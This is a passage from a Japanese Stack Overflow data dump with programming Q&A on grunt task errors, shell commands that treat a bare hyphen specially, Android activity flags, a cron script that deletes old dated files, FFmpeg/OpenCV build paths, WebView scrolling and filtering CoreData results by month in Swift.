\n[Googleスプレッドシート:String.fromCharCode関数](https://docs.google.com/spreadsheets/d/1VFH9HY9bRodOXAcf74-rtjHacYLPAEh-\neQmwMVfvCE8/edit?usp=sharing)",
"comment_count": 6,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T01:23:54.817",
"id": "32122",
"last_activity_date": "2017-02-28T06:13:42.093",
"last_edit_date": "2017-03-17T10:46:11.453",
"last_editor_user_id": "-1",
"owner_user_id": null,
"parent_id": "32121",
"post_type": "answer",
"score": 11
}
]
| 32121 | null | 32122 |
{
"accepted_answer_id": "32136",
"answer_count": 1,
"body": "このモジュールをgruntで実行したいです。 \n<https://github.com/Fkscorpion/grunt-license-report>\n\ngruntfile.jsを下記のように書きました。\n\n```\n\n module.exports = function (grunt) {\n \n grunt.loadNpmTasks('grunt-license-report');\n \n grunt.initConfig({\n \"grunt-License-Report\": {\n output: {\n path: './report/licenses',\n format: 'html'\n }\n }\n });\n \n grunt.registerTask('default', ['grunt-License-Report']);\n \n };\n \n```\n\nコマンドラインで「grunt」を実行すると \n下記のエラーが出ます。\n\n```\n\n Warning: Task \"grunt-License-Report\" not found. Use --force to continue.\n Aborted due to warnings.\n \n```\n\n解決方法が分かる方がいましたらよろしくお願いします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T02:10:33.373",
"favorite_count": 0,
"id": "32123",
"last_activity_date": "2017-02-28T06:33:03.733",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "14288",
"post_type": "question",
"score": 0,
"tags": [
"node.js",
"grunt"
],
"title": "gruntのタスク実行で「Task not found. Use --force to continue」と出る",
"view_count": 928
} | [
{
"body": "自己解決しました。 \ngruntfile.jsを以下のように書くことで実行できました。\n\n```\n\n module.exports = function (grunt) {\n \n grunt.initConfig({\n pkg: grunt.file.readJSON('package.json'),\n \"grunt-license-report\": {\n output: {\n path: './report/licenses',\n format: 'html'\n }\n }\n });\n \n grunt.loadNpmTasks('grunt-license-report');\n grunt.registerTask('default', ['grunt-license-report']);\n \n };\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T05:33:10.193",
"id": "32136",
"last_activity_date": "2017-01-25T05:33:10.193",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "14288",
"parent_id": "32123",
"post_type": "answer",
"score": 0
}
]
| 32123 | 32136 | 32136 |
{
"accepted_answer_id": "32143",
"answer_count": 3,
"body": "## 背景\n\nUNIXのシェルスクリプトにおいて、コマンド引数に1文字だけのハイフン `-` (bare hyphen)\nがあるとき、これが特別な意味をもつときがあります。\n\n特に、`-`が「標準入力から読み込む」「標準出力に書き込む」という意味になるコマンドが多いです。 \nこのことは、次にリンクする本家StackOverflowの質問にも書かれています。\n\n * [\"What does dash “-” at the end of a command mean?\"](https://unix.stackexchange.com/questions/41828/what-does-dash-at-the-end-of-a-command-mean)\n * [\"Usage of dash (-) in place of a filename\"](https://unix.stackexchange.com/questions/16357/usage-of-dash-in-place-of-a-filename)\n\nまた、[\"The Art of UNIX\nProgramming\"](https://en.wikipedia.org/wiki/The_Art_of_Unix_Programming)\nにも次のような記述を見つけました。\n\n> Many tools accept a bare hyphen, not associated with any option letter, as a\n> pseudo-filename directing the application to read from standard input. \n> (<http://www.faqs.org/docs/artu/ch10s05.html>より引用)\n\n和訳すると「多くのツールは、[a〜zのような]オプション文字列と関係がないただのハイフンを、アプリケーションが標準入力からreadすることを示す擬似ファイル名としている。」です。\n\nしかし、いくつかのコマンドにおいては、`-`がこのような意味にはなっていません。\n\nたとえばPOSIXコマンド`cd`について、`cd -` は「1つ前のディレクトリに戻る」という意味になります。より厳密には、`cd \"$OLDPWD\"\n&& pwd` と同義です。\n\nまた、`mkdir`コマンドは`-`を特別扱いしておらず、(私の環境では) `mkdir -` は \"-\" という名前のディレクトリを作成します。\n\n## 質問\n\nそれでは、`-`が特別扱いされているものの、stdin / stdoutへのリダイレクトとは関係がないようなコマンドは他にどのようなものがあるのでしょうか?\n\nBSDかGNUか、POSIXか非POSIXか、builtin\ncommandかそうでないかなどは気にしませんが、それ特有の動作の場合、追記してくださると嬉しいです。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T02:33:48.333",
"favorite_count": 0,
"id": "32124",
"last_activity_date": "2020-05-08T10:22:06.783",
"last_edit_date": "2017-04-13T12:37:20.867",
"last_editor_user_id": "-1",
"owner_user_id": "19110",
"post_type": "question",
"score": 9,
"tags": [
"shellscript",
"unix"
],
"title": "1文字ハイフンが特別な意味を持つシェルコマンドの例を教えて下さい",
"view_count": 6245
} | [
{
"body": "* cd(P): bash組み込みコマンド、あるいは、POSIXコマンド。`cd -`は`$OLDPWD`へカレントディレクトリを変更する。([参考1](https://linuxjm.osdn.jp/html/GNU_bash/man1/bash.1.html)、[2](http://www.unix.com/man-page/posix/1posix/cd/))\n * bash(1): bashコマンド自体の引数として`-`が与えられている場合、`--`と同義になる。つまり、それ以降の文字列をオプションとして解釈しない。([参考](https://linuxjm.osdn.jp/html/GNU_bash/man1/bash.1.html))\n * nslookup(1): `nslookup - [server]`はnslookupを対話モード(インタラクティブモード)で起動する。([参考](https://linuxjm.osdn.jp/html/bind/man8/nslookup.8.html))\n * git(1): `git checkout -` は 1 つ前のブランチを checkout する。([参考](https://stackoverflow.com/a/7207542/5989200))\n\n(自己回答ですが、これ以外の例を知りたいのでご存知でしたら投稿お願いいたします)",
"comment_count": 1,
"content_license": "CC BY-SA 4.0",
"creation_date": "2017-01-25T02:33:48.333",
"id": "32125",
"last_activity_date": "2020-05-07T08:38:45.277",
"last_edit_date": "2020-05-07T08:38:45.277",
"last_editor_user_id": "19110",
"owner_user_id": "19110",
"parent_id": "32124",
"post_type": "answer",
"score": 5
},
{
"body": "* `su`\n\nハイフン1つは環境変数を置換先ユーザのものに置き換えるの意味 (実質再ログイン)\n\n```\n\n $ su -\n Password:\n #\n \n```\n\n * dd\n\n(題意と逆かもしれない) \n標準入出力を `-` で指定したくなるけどできない例が `dd` (GNU coreutil と hpux11.11 で確認)\n\n```\n\n $ echo abc | dd of=-\n 0+1 records in\n 0+1 records out\n $ dd if=-\n abc\n 0+1 records in\n 0+1 records out\n $\n \n```\n\n最初の `dd` で `abc改行` はファイル `-` に出力され \n次の `dd` でファイル `-` の内容が標準出力に出力される\n\n### おまけ1\n\n先の例で作ってしまったハイフン1文字のファイルを \n`cat` したいとき `cat -` ではダメ (標準入力の意味になる) `cat ./-` なら OK \n`rm` に標準入出力を渡すことは無いので `rm -` は有効な様子\n\n### おまけ2\n\nハイフンで始まるファイル名 `-a` 等を各種ツールに渡したいとき \n`cat -a` は失敗するので `cat ./-a` または `cat -- -a` \n`rm -a` は失敗するので `rm ./-a` または `rm -- -a`",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T07:06:50.290",
"id": "32143",
"last_activity_date": "2017-01-25T10:15:20.970",
"last_edit_date": "2017-01-25T10:15:20.970",
"last_editor_user_id": "754",
"owner_user_id": "8589",
"parent_id": "32124",
"post_type": "answer",
"score": 5
},
{
"body": "`trap`の`-`も標準入出力とは無関係です。\n\n【BASH_BUILTINS(1) General Commands Manual】\n\n> trap [-lp] [[arg] sigspec ...] \n> シェルがシグナル sigspec を受け取ると、コマンド arg が読み込まれて、実行されます。 arg が存在しない (かつ sigspec\n> が一つ指定された) 場合か、 arg が - の場合、 指定されたシグナルは全てオリジナルの動作 (シェルの起動時に設定されていた値)\n> にリセットされます。\n\n`man exec`で出てきました。\n\n【実行例】\n\n```\n\n $ trap date INT\n $ trap -p INT\n trap -- 'date' SIGINT\n $ ^C2020年 5月 8日 金曜日 16:28:25 JST\n \n $ trap - INT\n $ trap -p\n trap -- '' SIGRTMIN\n $ ^C\n $\n \n```\n\n* * *\n\n無理やりですが、`expr`の`-`もコマンドの引数ですが、標準入出力とは無関係です。 \n【実行例】\n\n```\n\n $ expr 8 - 3\n 5\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 4.0",
"creation_date": "2020-05-08T07:39:36.130",
"id": "66426",
"last_activity_date": "2020-05-08T10:22:06.783",
"last_edit_date": "2020-05-08T10:22:06.783",
"last_editor_user_id": "35558",
"owner_user_id": "35558",
"parent_id": "32124",
"post_type": "answer",
"score": 1
}
]
| 32124 | 32143 | 32125 |
{
"accepted_answer_id": "32129",
"answer_count": 2,
"body": "C#のWebBrowser内のリンクをクリックしたとき、IE等で新しいウインドウを作成して表示しますが、既にブラウザを開いている場合はそのブラウザに新しいタブを作成して表示したいのですが何か方法はありますか?\n\n宜しくお願い致します。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T02:43:49.193",
"favorite_count": 0,
"id": "32126",
"last_activity_date": "2017-02-11T02:41:16.373",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "19580",
"post_type": "question",
"score": 0,
"tags": [
"c#"
],
"title": "WebBrowserでリンククリック時に起動するブラウザを既に開いている場合は新しいタブを作成して表示したい。",
"view_count": 1860
} | [
{
"body": "`WebBrowser`コントロールは複数種ありますが、いずれも`Navigating`イベントが備わっているのでこのタイミングで`e.Cancel`に`true`を設定したうえで独自の処理を行えばよいです。\n\nブラウザーにタブを追加する標準的な手法はないと思いますが、たとえばIE限定で新規タブを表示する方法としては以下のようなものがあるようです。\n\n<https://stackoverflow.com/questions/3713206/launch-a-url-in-a-tab-in-an-\nexisting-ie-window-from-c-sharp>",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T02:58:30.417",
"id": "32129",
"last_activity_date": "2017-01-25T02:58:30.417",
"last_edit_date": "2017-05-23T12:38:56.083",
"last_editor_user_id": "-1",
"owner_user_id": "5750",
"parent_id": "32126",
"post_type": "answer",
"score": 0
},
{
"body": "補足です。\n\n一般的なブラウザの「タブ」機能は、「ブラウザというアプリケーション」が実装している機能です。\n\nWebBrowser コントロールは、一般的なブラウザの「単独のページを表示する」機能を切り出してコンポーネント化したものなので、「タブ」機能を\nWebBrowser コントロール単体で実現することは出来ないのです。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-02-11T02:41:16.373",
"id": "32575",
"last_activity_date": "2017-02-11T02:41:16.373",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "3033",
"parent_id": "32126",
"post_type": "answer",
"score": 0
}
]
| 32126 | 32129 | 32129 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "皆様\n\nいつもお世話になっています。\n\n以下に事象が起きており、困っています。 \n何かご存じの方いたら、ご教示いただけないでしょうか?\n\n 1. アプリを起動\n\n 2. アプリ内で数ステップ画面を操作\n\n 3. アプリ画面内の何かをタップする (タップイベント等を配置していないViewでも起きる)\n\n 4. アプリがバックグラウンドへいってしまい、ホーム画面が表示される\n\nAndroid6で頻発しています。 \nAndroid7では起きないようです。\n\nアプリ構成など必要な情報ありましたら、ご質問ください。\n\n※詳細な手順がありましたので、下記に追記します。\n\n 1. アプリを起動。 (Activity Aを起動)\n 2. Activity Bを起動し、Activity Aはスプラッシュ画像表示用のためすぐにfinish\n 3. Activity B から Activity C を起動する。 (BはFinishしない。)\n 4. Activity C から Activity B を起動する。 (CはFinishしない。)\n 5. Activity B 内の画面内をタップすると、アプリがバックグラウンドへ行ってしまう\n\n※Activityの呼び出しは全て、FLAG_ACTIVITY_REORDER_TO_FRONT を指定\n\n以上、よろしくお願い致します。",
"comment_count": 6,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T02:44:24.003",
"favorite_count": 0,
"id": "32127",
"last_activity_date": "2017-01-25T06:44:33.277",
"last_edit_date": "2017-01-25T04:59:00.580",
"last_editor_user_id": "20379",
"owner_user_id": "20379",
"post_type": "question",
"score": 0,
"tags": [
"android"
],
"title": "突然アプリがバックグラウンドへ行く事象が発生し、困っています。",
"view_count": 276
} | [
{
"body": "お騒がせしました。自己解決しました。 \nFLAG_ACTIVITY_REORDER_TO_FRONT指定の影響のようです。\n\n<https://stackoverflow.com/questions/31316451/flag-activity-reorder-to-front-\nin-new-flavors-of-android-os4-4-later>",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T06:44:33.277",
"id": "32139",
"last_activity_date": "2017-01-25T06:44:33.277",
"last_edit_date": "2017-05-23T12:38:55.307",
"last_editor_user_id": "-1",
"owner_user_id": "20380",
"parent_id": "32127",
"post_type": "answer",
"score": 1
}
]
| 32127 | null | 32139 |
{
"accepted_answer_id": "32137",
"answer_count": 2,
"body": "**やりたいこと** \n・指定ディレクトリ内に入っているファイルの中から、実行日(もしくは指定した日付)から5日前以上のファイルを、ファイル名から判断して削除したい \n・最終的にcronから呼び出したいので、shファイルとして作成したい\n\n* * *\n\n**環境** \n・CentOS\n\n* * *\n\n**指定ディレクトリ内のファイル名** \n・ファイル名の一部として日付を入れています \n・日付部分以外は固定です\n\n> test_data_20170106.hoge.gz\n>\n> test_data_20170107.hoge.gz\n>\n> test_data_20170111.hoge.gz",
"comment_count": 4,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T02:57:50.353",
"favorite_count": 0,
"id": "32128",
"last_activity_date": "2018-09-27T11:15:48.120",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "7886",
"post_type": "question",
"score": -1,
"tags": [
"linux",
"centos",
"shellscript",
"sh"
],
"title": "実行日(もしくは指定した日付)から5日前以上のファイルを、ファイル名から判断して削除するsh",
"view_count": 10016
} | [
{
"body": "```\n\n cd 目的dir\n DELDAY=`date --date '5 days ago' '+%Y%m%d'`\n \n for LINE in `find -iname \"test_data_*.hoge.gz\"`\n do\n FILEDATE=`echo \"$LINE\" | sed -e 's/[^0-9]//g'`\n if [ $DELDAY -gt $FILEDATE ] ; then\n echo \"delete $LINE\"\n rm -f $LINE\n fi\n done\n \n```\n\nfindを使ったパターンになります。 \n一応余計なファイルが入ってても誤削除はしないようにはなってます。",
"comment_count": 3,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T05:43:43.510",
"id": "32137",
"last_activity_date": "2017-01-25T09:48:21.313",
"last_edit_date": "2017-01-25T09:48:21.313",
"last_editor_user_id": "19716",
"owner_user_id": "19716",
"parent_id": "32128",
"post_type": "answer",
"score": 1
},
{
"body": "cronでずっと動いているのが前提なら、\n\n```\n\n DELDAY=`date --date '5 days ago' '+%Y%m%d'`\n rm -f test_data_$DELDAY*.sql\n \n```\n\nの2行だけでも良いのではないでしょうか? \n特定の日付しか消しませんが、それ以前の日付は毎日消されて行っているという意味で、、。",
"comment_count": 0,
"content_license": "CC BY-SA 4.0",
"creation_date": "2018-09-27T11:15:48.120",
"id": "48767",
"last_activity_date": "2018-09-27T11:15:48.120",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "30255",
"parent_id": "32128",
"post_type": "answer",
"score": 1
}
]
| 32128 | 32137 | 32137 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "Ubuntu16.04にて、FFMPEGをapt-getではなく自分でソースダウンロードしてビルド \nこの生成物として出来る、avcodec等のライブラリを \nOpenCVのCMAKEにapt-getした時と同様に認識させたいのですがどうすればよいでしょうか?\n\n以下、確認した項目です。いずれも失敗 \n・~/.bashrcにLD_LIBRARY_PATH追加 \n・作成したlibファイルが入ったフォルダを「/etc/ld.so.conf.d/」フォルダにコピー\n\n以上、よろしくお願いいたします",
"comment_count": 5,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T03:02:31.833",
"favorite_count": 0,
"id": "32130",
"last_activity_date": "2017-01-27T00:45:39.010",
"last_edit_date": "2017-01-25T03:52:52.807",
"last_editor_user_id": "19110",
"owner_user_id": "20378",
"post_type": "question",
"score": 0,
"tags": [
"linux",
"ubuntu",
"ffmpeg",
"apt",
"cmake"
],
"title": "Ubuntuで自分でソースビルドしたパッケージをCMAKEに認識させる方法",
"view_count": 471
} | [
{
"body": "ようやくわかりました。 \nこれはただPATH設定が少なかっただけでした。\n\nffmpegをbiludするとpkg-configが動作するのでそこで作成されるファイルを \n改めてPKG_CONFIG_PATHとして追加してやるとOpenCVのCMAKEがパッケージとして認識してくれました。 \nお手を煩わせて申し訳有りません。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T00:45:39.010",
"id": "32178",
"last_activity_date": "2017-01-27T00:45:39.010",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20378",
"parent_id": "32130",
"post_type": "answer",
"score": 2
}
]
| 32130 | null | 32178 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "現在、Androidアプリの開発をしております。 \nWebViewを使ってスマホ版のwebページを表示させているのですが、 \n読み込んだWebページをスクロールする際にカクついてしまいます。\n\nネットで「android:hardwareAccelerated=\"true\"」にすると改善されるという記事を見つけ、 \n試してみたのですが、まだ少しスクロールでカクついてしまいます。\n\n他に何か対策方法はあるのでしょうか?\n\nよろしくお願いいたします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T05:32:37.677",
"favorite_count": 0,
"id": "32135",
"last_activity_date": "2017-01-25T06:16:05.300",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "18986",
"post_type": "question",
"score": 0,
"tags": [
"android",
"webview"
],
"title": "AndroidアプリのWebViewで読み込んだWebページのスクロール速度を上げたいです。",
"view_count": 1277
} | [
{
"body": "ちゃんとHardwareRendererになっているのであればWebViewの描画そのものが原因でスクロールでカクツクということは(理論上)ありません。\n\n何故ならばWebViewの仕組みは \n・GPU(HWRender)でタイルをスクロール、拡大、縮小等 \n・Skiaにてタイルの中身を描画 \nとなっているので、ページの中身が表示されないことはあってもタイルのスクロールは中身の表示の有無には無関係だからです。\n\nですので、スクロールがカクツク原因は \n1\\. UIスレッドで何かカクツク様な処理が行われている \n2\\. その他CPU専有処理が起こっている \n3\\. (最近はほぼないが)SuraceFlinger以下の処理が追いついていない \n4\\. (状況による)GPUの処理が追いついていない \netc...等です。\n\n3.4.はまぁ無視して良いです。 \n3.はsystraceで解析可能ですが、これが原因ならばアプリ側からは解決不可能です。 \n4.はAdreno Profiler等で解析可能ですが、激しいGPU処理を行なっていないならこれも原因ではないでしょう。\n\n1.はtraceviewやsystraceで解析可能です。 \n2.はtopコマンドやsystraceで解析可能です。\n\nどちらのツールも公式サイトに解析方法が記載されています。 \n<https://developer.android.com/studio/profile/traceview.html> \n<https://developer.android.com/studio/profile/systrace.html>\n\nちなみに開発をEmulatorで行われている場合、 \n製品にはGMSのChromeが搭載されておりWebViewもChrome内部のものを使用しますが \nEmulatorではAOSPのWebViewが使われるはずなので挙動が多少変わってくると思います。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T06:09:54.517",
"id": "32138",
"last_activity_date": "2017-01-25T06:16:05.300",
"last_edit_date": "2017-01-25T06:16:05.300",
"last_editor_user_id": "19716",
"owner_user_id": "19716",
"parent_id": "32135",
"post_type": "answer",
"score": 2
}
]
| 32135 | null | 32138 |
{
"accepted_answer_id": "32195",
"answer_count": 2,
"body": "Swift初心者です。 \n現在、iOSアプリ作成の練習として家計簿アプリを作成しています。\n\nこれまで、\n\n * CoreDataに「年月日、カテゴリ(食費など)、費用」を保存。\n * 保存したデータをTableViewに表示。\n * データを追加したらfetchedResultsControllerを用いてリアルタイムでTableViewに反映。\n * TableViewのセルをタップするとその出費データの修正ができる(それもリアルタイムで反映)。\n\nというところまで実装することができました。\n\nしかし、指定された月の出費データのみをTableViewに表示する方法がわかりません。 \nCoreDataに保存されている出費データすべてをTableViewに表示してしまいます。\n\nようするに、今月のデータのみをCoreDataから持ってきてTableViewに表示する、先月のデータのみを見たいときは、何らかの方法で画面を切り替えて先月のデータのみで構成されたTableViewを表示する、などということができません。\n\nTableViewに特定の月のデータだけを表示する方法はありませんか? \n(現在モデルとエンティティを1つずつ使用していますが、複数のモデルまたはエンティティを用意するべきでしょうか?\nその場合はどのようにしてモデル・エンティティを切り替えればいいでしょうか?\nそれとも、CoreDataに保存されているデータのうち、特定のデータのみを選択してTableViewに表示する方法はありますか?)\n\n## 試したこと\n\n * モデルを月ごとに用意し、TableViewごとにモデルを切り替えれば良いのでは、と思い試してみましたが、「Spending」というエンティティを共通にしたため、Spendingというクラスは曖昧だからダメと言われました。かといってエンティティを別名にすると、fetchedResultsControllerを作成するコードを複数用意しないといけないと思うので、スマートではないかな、と思いました(まだ試していません)。\n * 表示したい月以外のデータを表示するセルは非表示にすればいいと思い、TableViewのデータソースでそれを試しましたが、非表示にしたデータの部分が真っ白になるだけで、セルごと消えてくれませんでした。\n\n以下に、「ViewController.swift」のコードを記載しておきますので、何卒よろしくお願いします。 \n \n\n## コードとその軽い解説\n\nCoreDataのモデルは「Spendings.xcdatamodeld」というモデルで、「Spending」というエンティティが「year」「month」「day」「category」「cost」という属性を持っています。 \n年月日とカテゴリはそれぞれPickerViewで選択し、それらをそのDelegateでmyDate[]やmyCategoryという変数に代入しています。 \nそして、それらのデータをCoreDataへ保存しています。 \nそれらのデータ追加処理は「AddSpendingViewController.swift」という別ファイルで書いていますが、そちらはTalbeViewと関係がなさそうなので記載していません(そちらも見てみないと何とも言えないようでしたら、追記します)。 \n他に必要なコードがありましたら記載しますので、よろしくお願いします。\n\n```\n\n import UIKit\n import CoreData\n \n class ViewController: UIViewController {\n \n // MARK: - Properties\n \n private let segueAddSpendingViewController = \"SegueAddSpendingViewController\"\n private let segueEditSpendingViewController = \"SegueEditSpendingViewController\"\n \n // MARK: -\n \n @IBOutlet weak var messageLabel: UILabel!\n @IBOutlet weak var tableView: UITableView!\n @IBOutlet weak var activityIndicatorView: UIActivityIndicatorView!\n \n // MARK: -\n \n private let persistentContainer = NSPersistentContainer(name: \"Spendings\")\n \n // MARK: -\n \n fileprivate lazy var fetchedResultsController: NSFetchedResultsController<Spending> = {\n // Create Fetch Request\n let fetchRequest: NSFetchRequest<Spending> = Spending.fetchRequest()\n \n // Configure Fetch Request\n fetchRequest.sortDescriptors = [NSSortDescriptor(key: \"day\", ascending: true)]\n \n // Create Fetched Results Controller\n let fetchedResultsController = NSFetchedResultsController(fetchRequest: fetchRequest, managedObjectContext: self.persistentContainer.viewContext, sectionNameKeyPath: #keyPath(Spending.category), cacheName: nil)\n \n // Configure Fetched Results Controller\n fetchedResultsController.delegate = self\n \n return fetchedResultsController\n }()\n \n // MARK: - View Life Cycle\n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n persistentContainer.loadPersistentStores { (NSPersistentStoreDescription, error) in\n if let error = error {\n print(\"Unable to Load Persistent Store\")\n print(\"\\(error), \\(error.localizedDescription)\")\n } else {\n self.setupView()\n \n do {\n try self.fetchedResultsController.performFetch()\n } catch {\n let fetchError = error as NSError\n print(\"Unable to Perform Fetch Request\")\n print(\"\\(fetchError), \\(fetchError.localizedDescription)\")\n }\n \n self.updateView()\n }\n }\n \n NotificationCenter.default.addObserver(self, selector: #selector(applicationDidEnterBackground(_:)), name: Notification.Name.UIApplicationDidEnterBackground, object: nil)\n }\n \n // MARK: - Navigation\n \n override func prepare(for segue: UIStoryboardSegue, sender: Any?) {\n guard let destinationViewController = segue.destination as? AddSpendingViewController else { return }\n \n // Configure View Controller\n destinationViewController.managedObjectContext = persistentContainer.viewContext\n \n if let indexPath = tableView.indexPathForSelectedRow, segue.identifier == segueEditSpendingViewController {\n // Configure View Controller\n destinationViewController.spending = fetchedResultsController.object(at: indexPath)\n }\n }\n \n // MARK: - View Methods\n \n private func setupView() {\n setupMessageLabel()\n updateView()\n }\n \n fileprivate func updateView() {\n var hasSpendings = false\n \n if let spendings = fetchedResultsController.fetchedObjects {\n hasSpendings = spendings.count > 0\n }\n \n tableView.isHidden = !hasSpendings\n messageLabel.isHidden = hasSpendings\n \n activityIndicatorView.stopAnimating()\n }\n \n // MARK: -\n \n private func setupMessageLabel() {\n messageLabel.text = \"今月の出費はまだありません。\"\n }\n \n // MARK: - Notification Handling\n \n func applicationDidEnterBackground(_ notification: Notification) {\n do {\n try persistentContainer.viewContext.save()\n } catch {\n print(\"Unable to Save Changes\")\n print(\"\\(error), \\(error.localizedDescription)\")\n }\n }\n }\n \n extension ViewController: NSFetchedResultsControllerDelegate {\n \n func controllerWillChangeContent(_ controller: NSFetchedResultsController<NSFetchRequestResult>) {\n tableView.beginUpdates()\n }\n \n func controllerDidChangeContent(_ controller: NSFetchedResultsController<NSFetchRequestResult>) {\n tableView.endUpdates()\n \n updateView()\n }\n \n func controller(_ controller: NSFetchedResultsController<NSFetchRequestResult>, didChange anObject: Any, at indexPath: IndexPath?, for type: NSFetchedResultsChangeType, newIndexPath: IndexPath?) {\n switch (type) {\n case .insert:\n if let indexPath = newIndexPath {\n tableView.insertRows(at: [indexPath], with: .fade)\n }\n break;\n case .delete:\n if let indexPath = indexPath {\n tableView.deleteRows(at: [indexPath], with: .fade)\n }\n break;\n case .update:\n if let indexPath = indexPath, let cell = tableView.cellForRow(at: indexPath) as? SpendingTableViewCell {\n configure(cell, at: indexPath)\n }\n break;\n case .move:\n if let indexPath = indexPath {\n tableView.deleteRows(at: [indexPath], with: .fade)\n }\n if let newIndexPath = newIndexPath {\n tableView.insertRows(at: [newIndexPath], with: .fade)\n }\n break;\n }\n }\n \n func controller(_ controller: NSFetchedResultsController<NSFetchRequestResult>, didChange sectionInfo: NSFetchedResultsSectionInfo, atSectionIndex sectionIndex: Int, for type: NSFetchedResultsChangeType) {\n switch type {\n case .insert:\n tableView.insertSections(IndexSet(integer: sectionIndex), with: .fade)\n case .delete:\n tableView.deleteSections(IndexSet(integer: sectionIndex), with: .fade)\n default:\n break;\n }\n }\n \n func configure(_ cell: SpendingTableViewCell, at indexPath: IndexPath) {\n // Fetch Spending\n let spending = fetchedResultsController.object(at: indexPath)\n \n // Configure Cell\n \n cell.dayLabel.text = String(spending.day) + \"日\"\n cell.costLabel.text = String(spending.cost) + \"円\"\n \n }\n }\n \n extension ViewController: UITableViewDataSource {\n \n func numberOfSections(in tableView: UITableView) -> Int {\n guard let sections = fetchedResultsController.sections else { return 0 }\n return sections.count\n }\n \n func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n guard let sectionInfo = fetchedResultsController.sections?[section] else {\n fatalError(\"Unexpected Section\")\n }\n return sectionInfo.numberOfObjects\n }\n \n func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? {\n guard let sectionInfo = fetchedResultsController.sections?[section] else {\n fatalError(\"Unexpected Section\")\n }\n return sectionInfo.name\n }\n \n func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n guard let cell = tableView.dequeueReusableCell(withIdentifier: SpendingTableViewCell.reuseIdentifier, for: indexPath) as? SpendingTableViewCell else {\n fatalError(\"Unexpected Index Path\")\n }\n \n // Configure Cell\n configure(cell, at: indexPath)\n \n return cell\n }\n \n func tableView(_ tableView: UITableView, commit editingStyle: UITableViewCellEditingStyle, forRowAt indexPath: IndexPath) {\n if editingStyle == .delete {\n // Fetch Spending\n let spending = fetchedResultsController.object(at: indexPath)\n \n // Delete Spending\n spending.managedObjectContext?.delete(spending)\n }\n }\n }\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T06:52:16.493",
"favorite_count": 0,
"id": "32141",
"last_activity_date": "2017-01-27T07:28:25.657",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20383",
"post_type": "question",
"score": 0,
"tags": [
"swift",
"xcode",
"swift3",
"uitableview",
"coredata"
],
"title": "Swift3/Xcode8でCoreDataに保存したデータを特定データのみTableViewに表示する方法",
"view_count": 1112
} | [
{
"body": "該当するオブジェクトが格納されているindexPathの配列を用意するというのはどうでしょうか。\n\n```\n\n var spendingIndexesToShow = [IndexPath]()\n \n```\n\n全てのオブジェクトを検査して該当するものだけをappendしていきます。 \nソートされている場合は範囲だけを保存してもいいかもしれません\n\n配列に保存する場合は例えば以下のようになります\n\n```\n\n func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n return spendingIndexesToShow.count\n }\n \n```",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T11:58:15.310",
"id": "32153",
"last_activity_date": "2017-01-25T11:58:15.310",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20389",
"parent_id": "32141",
"post_type": "answer",
"score": 0
},
{
"body": "fetch するときに predicateを指定します\n\n```\n\n let mounth: Int = 10\n fetchRequest.predicate = NSPredicate(format: \"month = %ld\", month)\n \n```\n\nこの場合は表示する月が替わるたびにfetchする必要があります\n\nあるいは見せるためのデータを別に用意します\n\n```\n\n // プロパティとして\n // 表示用データ\n private(set) var data: [Any]?\n // 表示する月\n var month: Int? {\n didSet {\n if month == nil {\n data = fetchedResultsController.fetchedObjects\n return\n }\n data = fetchedResultsController.fetchedObjects.filter { $0.month == self.month\n }\n }\n var fetchedResultsControlle // ここにも同様の didSet が必要\n \n```",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T07:28:25.657",
"id": "32195",
"last_activity_date": "2017-01-27T07:28:25.657",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "2741",
"parent_id": "32141",
"post_type": "answer",
"score": 0
}
]
| 32141 | 32195 | 32153 |
{
"accepted_answer_id": "32151",
"answer_count": 1,
